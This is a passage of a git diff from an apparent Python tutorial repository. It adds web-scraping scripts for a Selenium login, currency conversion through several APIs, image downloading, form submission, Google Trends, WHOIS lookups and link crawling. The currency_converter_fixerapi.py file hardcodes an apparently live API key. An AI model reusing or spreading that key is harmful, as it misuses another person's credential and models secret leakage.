`automate_login.py` and run it! \ No newline at end of file diff --git a/web-scraping/automate-login/automate_login.py b/web-scraping/automate-login/automate_login.py new file mode 100644 index 00000000..96645b70 --- /dev/null +++ b/web-scraping/automate-login/automate_login.py @@ -0,0 +1,44 @@ +from logging import error +from selenium import webdriver +from selenium.webdriver.support.ui import WebDriverWait + +# Github credentials +username = "username" +password = "password" + +# initialize the Chrome driver +driver = webdriver.Chrome(r"chromedriver") +# head to github login page +driver.get("https://github.com/login") +# find username/email field and send the username itself to the input field +driver.find_element("id", "login_field").send_keys(username) +# find password input field and insert password as well +driver.find_element("id", "password").send_keys(password) +# click login button +driver.find_element("name", "commit").click() +# wait the ready state to be complete +WebDriverWait(driver=driver, timeout=10).until( + lambda x: x.execute_script("return document.readyState === 'complete'") +) +error_message = "Incorrect username or password." +# get the errors (if there are) +errors = driver.find_elements("css selector", ".flash-error") +# print the errors optionally +# for e in errors: +# print(e.text) +# if we find that error message within errors, then login is failed +if any(error_message in e.text for e in errors): + print("[!] Login failed") +else: + print("[+] Login successful") + +# an example scenario, show me my public repositories +repos = driver.find_element("css selector", ".js-repos-container") +# wait for the repos container to be loaded +WebDriverWait(driver=driver, timeout=10).until((lambda x: repos.text != "Loading...")) +# iterate over the repos and print their names +for repo in repos.find_elements("css selector", "li.public"): # you can use "li.private" for private repos + print(repo.find_element("css selector", "a").get_attribute("href")) + +# close the driver +driver.close() \ No newline at end of file diff --git a/web-scraping/automate-login/requirements.txt b/web-scraping/automate-login/requirements.txt new file mode 100644 index 00000000..954f0db0 --- /dev/null +++ b/web-scraping/automate-login/requirements.txt @@ -0,0 +1 @@ +selenium \ No newline at end of file diff --git a/web-scraping/currency-converter/README.md b/web-scraping/currency-converter/README.md new file mode 100644 index 00000000..43eddcbd --- /dev/null +++ b/web-scraping/currency-converter/README.md @@ -0,0 +1,12 @@ +# [How to Make a Currency Converter in Python](https://www.thepythoncode.com/article/make-a-currency-converter-in-python) +To run the scripts: +- `pip3 install -r requirements.txt` +- Here is an example: To convert 1000 EUR to USD by scraping Yahoo Finance: + ``` + $ python currency_converter_yahoofin.py EUR USD 1000 + ``` + Output: + ``` + Last updated datetime: 2022-02-02 12:37:39 + 1000.0 EUR = 1132.6310634613037 USD + ``` \ No newline at end of file diff --git a/web-scraping/currency-converter/currency_converter_currencyapi.py b/web-scraping/currency-converter/currency_converter_currencyapi.py new file mode 100644 index 00000000..f70c57c8 --- /dev/null +++ b/web-scraping/currency-converter/currency_converter_currencyapi.py @@ -0,0 +1,48 @@ +import requests +import urllib.parse as p + +API_KEY = "" +base_url = "https://api.currencyapi.com/v3/" + +# utility function that both functions will use +def get_currencyapi_data(endpoint, date=None, base_currency="USD", print_all=True): + """Get the list of currency codes from the API""" + # construct the url + url = p.urljoin(base_url, + f"{endpoint}?apikey={API_KEY}{'' if endpoint == 'latest' else f'&date={date}'}&base_currency={base_currency}") + # make the request + res = requests.get(url) + # get the json data + data = res.json() + # print all the currency codes and their values + c = 0 + if print_all: + for currency_code, currency_name in data.get("data").items(): + print(f"{currency_code}: {currency_name.get('value')}") + c += 1 + + print(f"Total: {c} currencies") + if endpoint == "latest": + # get the last updated date + last_updated = data.get("meta").get("last_updated_at") + print(f"Last updated: {last_updated}") + return data + +def get_latest_rates(base_currency="USD", print_all=True): + """Get the latest rates from the API""" + return get_currencyapi_data(endpoint="latest", base_currency=base_currency, print_all=print_all) + +def get_historical_rates(base_currency="USD", print_all=True, date="2023-01-01"): + """Get the historical rates from the Currency API + `date` must be in the format of YYYY-MM-DD""" + return get_currencyapi_data(endpoint="historical", base_currency=base_currency, date=date, print_all=print_all) + + +if __name__ == "__main__": + latest_rates = get_latest_rates() + print(f"\n{'-'*50}\n") + # get the historical rates for the date 2021-01-01 + historical_rates = get_historical_rates(date="2021-01-01", print_all=False) + # get EUR rate, for example + eur_rate = historical_rates.get("data").get("EUR").get("value") + print(f"EUR rate on 2021-01-01: {eur_rate}") \ No newline at end of file diff --git a/web-scraping/currency-converter/currency_converter_erapi.py b/web-scraping/currency-converter/currency_converter_erapi.py new file mode 100644 index 00000000..1039cb12 --- /dev/null +++ b/web-scraping/currency-converter/currency_converter_erapi.py @@ -0,0 +1,33 @@ +import requests +from dateutil.parser import parse + +def get_all_exchange_rates_erapi(src): + url = f"https://open.er-api.com/v6/latest/%7Bsrc%7D" + # request the open ExchangeRate API and convert to Python dict using .json() + data = requests.get(url).json() + if data["result"] == "success": + # request successful + # get the last updated datetime + last_updated_datetime = parse(data["time_last_update_utc"]) + # get the exchange rates + exchange_rates = data["rates"] + return last_updated_datetime, exchange_rates + + + +def convert_currency_erapi(src, dst, amount): + # get all the exchange rates + last_updated_datetime, exchange_rates = get_all_exchange_rates_erapi(src) + # convert by simply getting the target currency exchange rate and multiply by the amount + return last_updated_datetime, exchange_rates[dst] * amount + + +if __name__ == "__main__": + import sys + source_currency = sys.argv[1] + destination_currency = sys.argv[2] + amount = float(sys.argv[3]) + last_updated_datetime, exchange_rate = convert_currency_erapi(source_currency, destination_currency, amount) + print("Last updated datetime:", last_updated_datetime) + print(f"{amount} {source_currency} = {exchange_rate} {destination_currency}") + \ No newline at end of file diff --git a/web-scraping/currency-converter/currency_converter_fixerapi.py b/web-scraping/currency-converter/currency_converter_fixerapi.py new file mode 100644 index 00000000..1534769b --- /dev/null +++ b/web-scraping/currency-converter/currency_converter_fixerapi.py @@ -0,0 +1,47 @@ +import requests +from datetime import date, datetime + +API_KEY = "8c3dce10dc5fdb6ec1f555a1504b1373" +# API_KEY = "" + + +def convert_currency_fixerapi_free(src, dst, amount): + """converts `amount` from the `src` currency to `dst` using the free account""" + url = f"http://data.fixer.io/api/latest?access_key={API_KEY}&symbols={src},{dst}&format=1" + data = requests.get(url).json() + if data["success"]: + # request successful + rates = data["rates"] + # since we have the rate for our currency to src and dst, we can get exchange rate between both + # using below calculation + exchange_rate = 1 / rates[src] * rates[dst] + last_updated_datetime = datetime.fromtimestamp(data["timestamp"]) + return last_updated_datetime, exchange_rate * amount + + +def convert_currency_fixerapi(src, dst, amount): + """converts `amount` from the `src` currency to `dst`, requires upgraded account""" + url = f"https://data.fixer.io/api/convert?access_key={API_KEY}&from={src}&to={dst}&amount={amount}" + data = requests.get(url).json() + if data["success"]: + # request successful + # get the latest datetime + last_updated_datetime = datetime.fromtimestamp(data["info"]["timestamp"]) + # get the result based on the latest price + result = data["result"] + return last_updated_datetime, result + + + +if __name__ == "__main__": + import sys + source_currency = sys.argv[1] + destination_currency = sys.argv[2] + amount = float(sys.argv[3]) + # free account + last_updated_datetime, exchange_rate = convert_currency_fixerapi_free(source_currency, destination_currency, amount) + # upgraded account, uncomment if you have one + # last_updated_datetime, exchange_rate = convert_currency_fixerapi(source_currency, destination_currency, amount) + print("Last updated datetime:", last_updated_datetime) + print(f"{amount} {source_currency} = {exchange_rate} {destination_currency}") + \ No newline at end of file diff --git a/web-scraping/currency-converter/currency_converter_xe.py b/web-scraping/currency-converter/currency_converter_xe.py new file mode 100644 index 00000000..cb5c3e8b --- /dev/null +++ b/web-scraping/currency-converter/currency_converter_xe.py @@ -0,0 +1,35 @@ +import requests +from bs4 import BeautifulSoup as bs +import re +from dateutil.parser import parse + +def convert_currency_xe(src, dst, amount): + def get_digits(text): + """Returns the digits and dots only from an input `text` as a float + Args: + text (str): Target text to parse + """ + new_text = "" + for c in text: + if c.isdigit() or c == ".": + new_text += c + return float(new_text) + + url = f"https://www.xe.com/currencyconverter/convert/?Amount={amount}&From={src}&To={dst}" + content = requests.get(url).content + soup = bs(content, "html.parser") + exchange_rate_html = soup.find_all("p")[2] + # get the last updated datetime + last_updated_datetime = parse(re.search(r"Last updated (.+)", exchange_rate_html.parent.parent.find_all("div")[-2].text).group()[12:]) + return last_updated_datetime, get_digits(exchange_rate_html.text) + + +if __name__ == "__main__": + import sys + source_currency = sys.argv[1] + destination_currency = sys.argv[2] + amount = float(sys.argv[3]) + last_updated_datetime, exchange_rate = convert_currency_xe(source_currency, destination_currency, amount) + print("Last updated datetime:", last_updated_datetime) + print(f"{amount} {source_currency} = {exchange_rate} {destination_currency}") + \ No newline at end of file diff --git a/web-scraping/currency-converter/currency_converter_xrates.py b/web-scraping/currency-converter/currency_converter_xrates.py new file mode 100644 index 00000000..7bda0c11 --- /dev/null +++ b/web-scraping/currency-converter/currency_converter_xrates.py @@ -0,0 +1,35 @@ +import requests +from bs4 import BeautifulSoup as bs +from dateutil.parser import parse +from pprint import pprint + + +def get_exchange_list_xrates(currency, amount=1): + # make the request to x-rates.com to get current exchange rates for common currencies + content = requests.get(f"https://www.x-rates.com/table/?from={currency}&amount={amount}").content + # initialize beautifulsoup + soup = bs(content, "html.parser") + # get the last updated time + price_datetime = parse(soup.find_all("span", attrs={"class": "ratesTimestamp"})[1].text) + # get the exchange rates tables + exchange_tables = soup.find_all("table") + exchange_rates = {} + for exchange_table in exchange_tables: + for tr in exchange_table.find_all("tr"): + # for each row in the table + tds = tr.find_all("td") + if tds: + currency = tds[0].text + # get the exchange rate + exchange_rate = float(tds[1].text) + exchange_rates[currency] = exchange_rate + return price_datetime, exchange_rates + + +if __name__ == "__main__": + import sys + source_currency = sys.argv[1] + amount = float(sys.argv[2]) + price_datetime, exchange_rates = get_exchange_list_xrates(source_currency, amount) + print("Last updated:", price_datetime) + pprint(exchange_rates) \ No newline at end of file diff --git a/web-scraping/currency-converter/currency_converter_yahoofin.py b/web-scraping/currency-converter/currency_converter_yahoofin.py new file mode 100644 index 00000000..89d389f0 --- /dev/null +++ b/web-scraping/currency-converter/currency_converter_yahoofin.py @@ -0,0 +1,24 @@ +import yahoo_fin.stock_info as si +from datetime import datetime, timedelta + +def convert_currency_yahoofin(src, dst, amount): + # construct the currency pair symbol + symbol = f"{src}{dst}=X" + # extract minute data of the recent 2 days + latest_data = si.get_data(symbol, interval="1m", start_date=datetime.now() - timedelta(days=2)) + # get the latest datetime + last_updated_datetime = latest_data.index[-1].to_pydatetime() + # get the latest price + latest_price = latest_data.iloc[-1].close + # return the latest datetime with the converted amount + return last_updated_datetime, latest_price * amount + + +if __name__ == "__main__": + import sys + source_currency = sys.argv[1] + destination_currency = sys.argv[2] + amount = float(sys.argv[3]) + last_updated_datetime, exchange_rate = convert_currency_yahoofin(source_currency, destination_currency, amount) + print("Last updated datetime:", last_updated_datetime) + print(f"{amount} {source_currency} = {exchange_rate} {destination_currency}") \ No newline at end of file diff --git a/web-scraping/currency-converter/requirements.txt b/web-scraping/currency-converter/requirements.txt new file mode 100644 index 00000000..1c923b44 --- /dev/null +++ b/web-scraping/currency-converter/requirements.txt @@ -0,0 +1,4 @@ +python-dateutil +requests +bs4 +yahoo_fin \ No newline at end of file diff --git a/web-scraping/download-images/README.md b/web-scraping/download-images/README.md index 313e267d..63cd3bd4 100644 --- a/web-scraping/download-images/README.md +++ b/web-scraping/download-images/README.md @@ -3,7 +3,7 @@ To run this: - `pip3 install -r requirements.txt` - ``` - python download_images --help + python download_images.py --help ``` **Output:** ``` @@ -21,7 +21,7 @@ To run this: ``` - If you want to download all images from https://www.thepythoncode.com/topic/web-scraping for example: ``` - python download_images https://www.thepythoncode.com/topic/web-scraping + python download_images.py https://www.thepythoncode.com/topic/web-scraping ``` A new folder `www.thepythoncode.com` will be created automatically that contains all the images of that web page. - If you want to download images from javascript-driven websites, consider using `download_images_js.py` script instead (it accepts the same parameters) diff --git a/web-scraping/download-images/download_images.py b/web-scraping/download-images/download_images.py index 084069b2..cecbdcf8 100644 --- a/web-scraping/download-images/download_images.py +++ b/web-scraping/download-images/download_images.py @@ -57,7 +57,7 @@ def download(url, pathname): # progress bar, changing the unit to bytes instead of iteration (default by tqdm) progress = tqdm(response.iter_content(1024), f"Downloading {filename}", total=file_size, unit="B", unit_scale=True, unit_divisor=1024) with open(filename, "wb") as f: - for data in progress: + for data in progress.iterable: # write data read to the file f.write(data) # update the progress bar manually diff --git a/web-scraping/download-images/download_images_js.py b/web-scraping/download-images/download_images_js.py index d2a764dc..ac65869f 100644 --- a/web-scraping/download-images/download_images_js.py +++ b/web-scraping/download-images/download_images_js.py @@ -23,13 +23,14 @@ def get_all_images(url): session = HTMLSession() # make the HTTP request and retrieve response response = session.get(url) - # execute Javascript - response.html.render() + # execute Javascript with a timeout of 20 seconds + response.html.render(timeout=20) # construct the soup parser soup = bs(response.html.html, "html.parser") urls = [] for img in tqdm(soup.find_all("img"), "Extracting images"): - img_url = img.attrs.get("src") or img.attrs.get("data-src") + img_url = img.attrs.get("src") or img.attrs.get("data-src") or img.attrs.get("data-original") + print(img_url) if not img_url: # if img does not contain src attribute, just skip continue @@ -44,6 +45,8 @@ def get_all_images(url): # finally, if the url is valid if is_valid(img_url): urls.append(img_url) + # close the session to end browser process + session.close() return urls @@ -66,7 +69,7 @@ def download(url, pathname): # progress bar, changing the unit to bytes instead of iteration (default by tqdm) progress = tqdm(response.iter_content(1024), f"Downloading {filename}", total=file_size, unit="B", unit_scale=True, unit_divisor=1024) with open(filename, "wb") as f: - for data in progress: + for data in progress.iterable: # write data read to the file f.write(data) # update the progress bar manually diff --git a/web-scraping/extract-and-fill-forms/form_extractor.py b/web-scraping/extract-and-fill-forms/form_extractor.py index cf4e96b0..3b7bb263 100644 --- a/web-scraping/extract-and-fill-forms/form_extractor.py +++ b/web-scraping/extract-and-fill-forms/form_extractor.py @@ -21,7 +21,9 @@ def get_form_details(form): including action, method and list of form controls (inputs, etc)""" details = {} # get the form action (requested URL) - action = form.attrs.get("action").lower() + action = form.attrs.get("action") + if action: + action = action.lower() # get the form method (POST, GET, DELETE, etc) # if not specified, GET is the default in HTML method = form.attrs.get("method", "get").lower() @@ -36,6 +38,38 @@ def get_form_details(form): input_value =input_tag.attrs.get("value", "") # add everything to that list inputs.append({"type": input_type, "name": input_name, "value": input_value}) + for select in form.find_all("select"): + # get the name attribute + select_name = select.attrs.get("name") + # set the type as select + select_type = "select" + select_options = [] + # the default select value + select_default_value = "" + # iterate over options and get the value of each + for select_option in select.find_all("option"): + # get the option value used to submit the form + option_value = select_option.attrs.get("value") + if option_value: + select_options.append(option_value) + if select_option.attrs.get("selected"): + # if 'selected' attribute is set, set this option as default + select_default_value = option_value + if not select_default_value and select_options: + # if the default is not set, and there are options, take the first option as default + select_default_value = select_options[0] + # add the select to the inputs list + inputs.append({"type": select_type, "name": select_name, "values": select_options, "value": select_default_value}) + for textarea in form.find_all("textarea"): + # get the name attribute + textarea_name = textarea.attrs.get("name") + # set the type as textarea + textarea_type = "textarea" + # get the textarea value + textarea_value = textarea.attrs.get("value", "") + # add the textarea to the inputs list + inputs.append({"type": textarea_type, "name": textarea_name, "value": textarea_value}) + # put everything to the resulting dictionary details["action"] = action details["method"] = method diff --git a/web-scraping/extract-and-fill-forms/form_submitter.py b/web-scraping/extract-and-fill-forms/form_submitter.py index d94b0add..247c0be0 100644 --- a/web-scraping/extract-and-fill-forms/form_submitter.py +++ b/web-scraping/extract-and-fill-forms/form_submitter.py @@ -1,5 +1,4 @@ from bs4 import BeautifulSoup -from requests_html import HTMLSession from pprint import pprint from urllib.parse import urljoin @@ -10,10 +9,18 @@ # get the URL from the command line url = sys.argv[1] +all_forms = get_all_forms(url) # get the first form (edit this as you wish) -first_form = get_all_forms(url)[0] +# first_form = get_all_forms(url)[0] +for i, f in enumerate(all_forms, start=1): + form_details = get_form_details(f) + print(f"{i} #") + pprint(form_details) + print("="*50) + +choice = int(input("Enter form indice: ")) # extract all form details -form_details = get_form_details(first_form) +form_details = get_form_details(all_forms[choice-1]) pprint(form_details) # the data body we want to submit data = {} @@ -21,14 +28,31 @@ if input_tag["type"] == "hidden": # if it's hidden, use the default value data[input_tag["name"]] = input_tag["value"] + elif input_tag["type"] == "select": + for i, option in enumerate(input_tag["values"], start=1): + # iterate over available select options + if option == input_tag["value"]: + print(f"{i} # {option} (default)") + else: + print(f"{i} # {option}") + choice = input(f"Enter the option for the select field '{input_tag['name']}' (1-{i}): ") + try: + choice = int(choice) + except: + # choice invalid, take the default + value = input_tag["value"] + else: + value = input_tag["values"][choice-1] + data[input_tag["name"]] = value elif input_tag["type"] != "submit": # all others except submit, prompt the user to set it value = input(f"Enter the value of the field '{input_tag['name']}' (type: {input_tag['type']}): ") data[input_tag["name"]] = value + # join the url with the action (form request URL) url = urljoin(url, form_details["action"]) - +# pprint(data) if form_details["method"] == "post": res = session.post(url, data=data) elif form_details["method"] == "get": diff --git a/web-scraping/extract-google-trends-data/Extracting_GoogleTrends_Data_PythonCodeTutorial.ipynb b/web-scraping/extract-google-trends-data/Extracting_GoogleTrends_Data_PythonCodeTutorial.ipynb new file mode 100644 index 00000000..b543066c --- /dev/null +++ b/web-scraping/extract-google-trends-data/Extracting_GoogleTrends_Data_PythonCodeTutorial.ipynb @@ -0,0 +1,256 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "Mzt6JmpwLnl0", + "outputId": "bb600d41-0b2f-4c7e-ab47-0e645277988b" + }, + "outputs": [], + "source": [ + "!pip install pytrends" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "9S9Szn46Lp65" + }, + "outputs": [], + "source": [ + "from pytrends.request import TrendReq\n", + "import seaborn\n", + "# for styling\n", + "seaborn.set_style(\"darkgrid\")\n", + "\n", + "# initialize a new Google Trends Request Object\n", + "pt = TrendReq(hl=\"en-US\", tz=360)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "_3hktMxsLq4M" + }, + "outputs": [], + "source": [ + "# set the keyword & timeframe\n", + "pt.build_payload([\"Python\", \"Java\"], timeframe=\"all\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 455 + }, + "id": "5bj7PEPZLruO", + "outputId": "94d313cb-c106-43e8-921f-edc7b7a82ec3" + }, + "outputs": [], + "source": [ + "# get the interest over time\n", + "iot = pt.interest_over_time()\n", + "iot" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 406 + }, + "id": "BG8uQd3zLsw-", + "outputId": "1f9d7327-bad5-4d05-8b1d-046c7527864c" + }, + "outputs": [], + "source": [ + "# plot it\n", + "iot.plot(figsize=(10, 6))" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 455 + }, + "id": "65qkNWguL8g-", + "outputId": "43332253-4215-48f7-e25a-c4dcc2a9f99a" + }, + "outputs": [], + "source": [ + "# get hourly historical interest\n", + "data = pt.get_historical_interest(\n", + " [\"data science\"], \n", + " cat=396, \n", + " year_start=2022, month_start=1, day_start=1, hour_start=0,\n", + " year_end=2022, month_end=2, day_end=10, hour_end=23,\n", + ")\n", + "data" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "NYoPNiSiVWFo" + }, + "outputs": [], + "source": [ + "# the keyword to extract data\n", + "kw = \"python\"\n", + "pt.build_payload([kw], timeframe=\"all\")\n", + "# get the interest by country\n", + "ibr = pt.interest_by_region(\"COUNTRY\", inc_low_vol=True, inc_geo_code=True)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "bjWBRVS-XNfo", + "outputId": "db776b26-2487-4ba1-d096-9c84dec93d1f" + }, + "outputs": [], + "source": [ + "# sort the countries by interest\n", + "ibr[kw].sort_values(ascending=False)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 833 + }, + "id": "ny8R1DKBXON4", + "outputId": "8abbf1af-a186-42ea-91a2-56c5bd165f7d" + }, + "outputs": [], + "source": [ + "# get related topics of the keyword\n", + "rt = pt.related_topics()\n", + "rt[kw][\"top\"]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 833 + }, + "id": "dCXqM2uBXv7M", + "outputId": "686c8144-50f5-445c-929f-dfda1494a38b" + }, + "outputs": [], + "source": [ + "# get related queries to previous keyword\n", + "rq = pt.related_queries()\n", + "rq[kw][\"top\"]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "FYCQ-ejxZv40", + "outputId": "2ee09da5-6d19-4ba1-c44a-5dd15a683387" + }, + "outputs": [], + "source": [ + "# get suggested searches\n", + "pt.suggestions(\"python\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "jFvUTnBBaYTS", + "outputId": "95ca6d7d-f801-467d-ade1-e2d5c009bcf5" + }, + "outputs": [], + "source": [ + "# another example of suggested searches\n", + "pt.suggestions(\"America\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 676 + }, + "id": "AEKb0IY0YLSx", + "outputId": "8c4519ba-143b-48e2-fc87-b5c5d9a7d56f" + }, + "outputs": [], + "source": [ + "# trending searches per region\n", + "ts = pt.trending_searches(pn=\"united_kingdom\")\n", + "ts" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 423 + }, + "id": "vFDybnL-YaiF", + "outputId": "c826398b-6a1f-4bc2-f5b8-1c1b8ea8f0f8" + }, + "outputs": [], + "source": [ + "# real-time trending searches\n", + "pt.realtime_trending_searches()" + ] + } + ], + "metadata": { + "colab": { + "collapsed_sections": [], + "name": "Extracting-GoogleTrends-Data_PythonCodeTutorial.ipynb", + "provenance": [] + }, + "kernelspec": { + "display_name": "Python 3", + "name": "python3" + }, + "language_info": { + "name": "python" + } + }, + "nbformat": 4, + "nbformat_minor": 0 +} diff --git a/web-scraping/extract-google-trends-data/README.md b/web-scraping/extract-google-trends-data/README.md new file mode 100644 index 00000000..08d048dd --- /dev/null +++ b/web-scraping/extract-google-trends-data/README.md @@ -0,0 +1,3 @@ +# [How to Extract Google Trends Data in Python](https://www.thepythoncode.com/article/extract-google-trends-data-in-python) +To run this: +- `pip3 install -r requirements.txt` \ No newline at end of file diff --git a/web-scraping/extract-google-trends-data/extracting_googletrends_data_pythoncodetutorial.py b/web-scraping/extract-google-trends-data/extracting_googletrends_data_pythoncodetutorial.py new file mode 100644 index 00000000..bdb0f4b7 --- /dev/null +++ b/web-scraping/extract-google-trends-data/extracting_googletrends_data_pythoncodetutorial.py @@ -0,0 +1,67 @@ +# -*- coding: utf-8 -*- +"""Extracting-GoogleTrends-Data_PythonCodeTutorial.ipynb + +Automatically generated by Colaboratory. + +Original file is located at + https://colab.research.google.com/drive/1lMX3VemgcfGpiGNlQJNPyivSXHAVYe6O +""" + +# !pip install pytrends + +from pytrends.request import TrendReq +import seaborn +# for styling +seaborn.set_style("darkgrid") + +# initialize a new Google Trends Request Object +pt = TrendReq(hl="en-US", tz=360) + +# set the keyword & timeframe +pt.build_payload(["Python", "Java"], timeframe="all") + +# get the interest over time +iot = pt.interest_over_time() +iot + +# plot it +iot.plot(figsize=(10, 6)) + +# get hourly historical interest +data = pt.get_historical_interest( + ["data science"], + cat=396, + year_start=2022, month_start=1, day_start=1, hour_start=0, + year_end=2022, month_end=2, day_end=10, hour_end=23, +) +data + +# the keyword to extract data +kw = "python" +pt.build_payload([kw], timeframe="all") +# get the interest by country +ibr = pt.interest_by_region("COUNTRY", inc_low_vol=True, inc_geo_code=True) + +# sort the countries by interest +ibr[kw].sort_values(ascending=False) + +# get related topics of the keyword +rt = pt.related_topics() +rt[kw]["top"] + +# get related queries to previous keyword +rq = pt.related_queries() +rq[kw]["top"] + +# get suggested searches +pt.suggestions("python") + +# another example of suggested searches +pt.suggestions("America") + +# trending searches per region +ts = pt.trending_searches(pn="united_kingdom") +ts + +# real-time trending searches +pt.realtime_trending_searches() \ No newline at end of file diff --git a/web-scraping/extract-google-trends-data/requirements.txt b/web-scraping/extract-google-trends-data/requirements.txt new file mode 100644 index 00000000..6d29ae9c --- /dev/null +++ b/web-scraping/extract-google-trends-data/requirements.txt @@ -0,0 +1,2 @@ +pytrends +seaborn \ No newline at end of file diff --git a/web-scraping/get-domain-info/README.md b/web-scraping/get-domain-info/README.md new file mode 100644 index 00000000..6af22d6f --- /dev/null +++ b/web-scraping/get-domain-info/README.md @@ -0,0 +1,5 @@ +# [How to Get Domain Name Information in Python](https://www.thepythoncode.com/article/extracting-domain-name-information-in-python) +To run this: +- `pip3 install -r requirements.txt` +- Use `validate_domains.py` code to validate domains +- Use `get_domain_info.py` code to get various domain information from WHOIS \ No newline at end of file diff --git a/web-scraping/get-domain-info/get_domain_info.py b/web-scraping/get-domain-info/get_domain_info.py new file mode 100644 index 00000000..5a2e911a --- /dev/null +++ b/web-scraping/get-domain-info/get_domain_info.py @@ -0,0 +1,16 @@ +import whois +from validate_domains import is_registered + +domain_name = "google.com" +if is_registered(domain_name): + whois_info = whois.whois(domain_name) + # print the registrar + print("Domain registrar:", whois_info.registrar) + # print the WHOIS server + print("WHOIS server:", whois_info.whois_server) + # get the creation time + print("Domain creation date:", whois_info.creation_date) + # get expiration date + print("Expiration date:", whois_info.expiration_date) + # print all other info + print(whois_info) \ No newline at end of file diff --git a/web-scraping/get-domain-info/requirements.txt b/web-scraping/get-domain-info/requirements.txt new file mode 100644 index 00000000..8a8957d0 --- /dev/null +++ b/web-scraping/get-domain-info/requirements.txt @@ -0,0 +1 @@ +python-whois \ No newline at end of file diff --git a/web-scraping/get-domain-info/validate_domains.py b/web-scraping/get-domain-info/validate_domains.py new file mode 100644 index 00000000..e5f2dd62 --- /dev/null +++ b/web-scraping/get-domain-info/validate_domains.py @@ -0,0 +1,28 @@ +import whois # pip install python-whois + +def is_registered(domain_name): + """ + A function that returns a boolean indicating + whether a `domain_name` is registered + """ + try: + w = whois.whois(domain_name) + except Exception: + return False + else: + return bool(w.domain_name) + + +if __name__ == "__main__": + # list of registered & non registered domains to test our function + domains = [ + "thepythoncode.com", + "google.com", + "github.com", + "unknownrandomdomain.com", + "notregistered.co" + ] + # iterate over domains + for domain in domains: + print(domain, "is registered" if is_registered(domain) else "is not registered") + diff --git a/web-scraping/link-extractor/link_extractor.py b/web-scraping/link-extractor/link_extractor.py index 408468a9..ca48e934 100644 --- a/web-scraping/link-extractor/link_extractor.py +++ b/web-scraping/link-extractor/link_extractor.py @@ -9,6 +9,7 @@ GREEN = colorama.Fore.GREEN GRAY = colorama.Fore.LIGHTBLACK_EX RESET = colorama.Fore.RESET +YELLOW = colorama.Fore.YELLOW # initialize the set of links (unique links) internal_urls = set() @@ -31,8 +32,6 @@ def get_all_website_links(url): """ # all URLs of `url` urls = set() - # domain name of the URL without the protocol - domain_name = urlparse(url).netloc soup = BeautifulSoup(requests.get(url).content, "html.parser") for a_tag in soup.findAll("a"): href = a_tag.attrs.get("href") @@ -62,7 +61,7 @@ def get_all_website_links(url): return urls -def crawl(url, max_urls=50): +def crawl(url, max_urls=30): """ Crawls a web page and extracts all links. You'll find all links in `external_urls` and `internal_urls` global set variables. @@ -71,6 +70,7 @@ def crawl(url, max_urls=50): """ global total_urls_visited total_urls_visited += 1 + print(f"{YELLOW}[*] Crawling: {url}{RESET}") links = get_all_website_links(url) for link in links: if total_urls_visited > max_urls: @@ -87,14 +87,14 @@ def crawl(url, max_urls=50): args = parser.parse_args() url = args.url max_urls = args.max_urls - + # domain name of the URL without the protocol + domain_name = urlparse(url).netloc crawl(url, max_urls=max_urls) print("[+] Total Internal links:", len(internal_urls)) print("[+] Total External links:", len(external_urls)) print("[+] Total URLs:", len(external_urls) + len(internal_urls)) - - domain_name = urlparse(url).netloc + print("[+] Total crawled URLs:", max_urls) # save the internal links to a file with open(f"{domain_name}_internal_links.txt", "w") as f: diff --git a/web-scraping/link-extractor/link_extractor_js.py b/web-scraping/link-extractor/link_extractor_js.py new file mode 100644 index 00000000..f84d74ec --- /dev/null +++ b/web-scraping/link-extractor/link_extractor_js.py @@ -0,0 +1,117 @@ +from requests_html import HTMLSession +from urllib.parse import urlparse, urljoin +from bs4 import BeautifulSoup +import colorama + +# init the colorama module +colorama.init() + +GREEN = colorama.Fore.GREEN +GRAY = colorama.Fore.LIGHTBLACK_EX +RESET = colorama.Fore.RESET +YELLOW = colorama.Fore.YELLOW + +# initialize the set of links (unique links) +internal_urls = set() +external_urls = set() + +total_urls_visited = 0 + + +def is_valid(url): + """ + Checks whether `url` is a valid URL. + """ + parsed = urlparse(url) + return bool(parsed.netloc) and bool(parsed.scheme) + + +def get_all_website_links(url): + """ + Returns all URLs that is found on `url` in which it belongs to the same website + """ + # all URLs of `url` + urls = set() + # initialize an HTTP session + session = HTMLSession() + # make HTTP request & retrieve response + response = session.get(url) + # execute Javascript + try: + response.html.render() + except: + pass + soup = BeautifulSoup(response.html.html, "html.parser") + for a_tag in soup.findAll("a"): + href = a_tag.attrs.get("href") + if href == "" or href is None: + # href empty tag + continue + # join the URL if it's relative (not absolute link) + href = urljoin(url, href) + parsed_href = urlparse(href) + # remove URL GET parameters, URL fragments, etc. + href = parsed_href.scheme + "://" + parsed_href.netloc + parsed_href.path + if not is_valid(href): + # not a valid URL + continue + if href in internal_urls: + # already in the set + continue + if domain_name not in href: + # external link + if href not in external_urls: + print(f"{GRAY}[!] External link: {href}{RESET}") + external_urls.add(href) + continue + print(f"{GREEN}[*] Internal link: {href}{RESET}") + urls.add(href) + internal_urls.add(href) + return urls + + +def crawl(url, 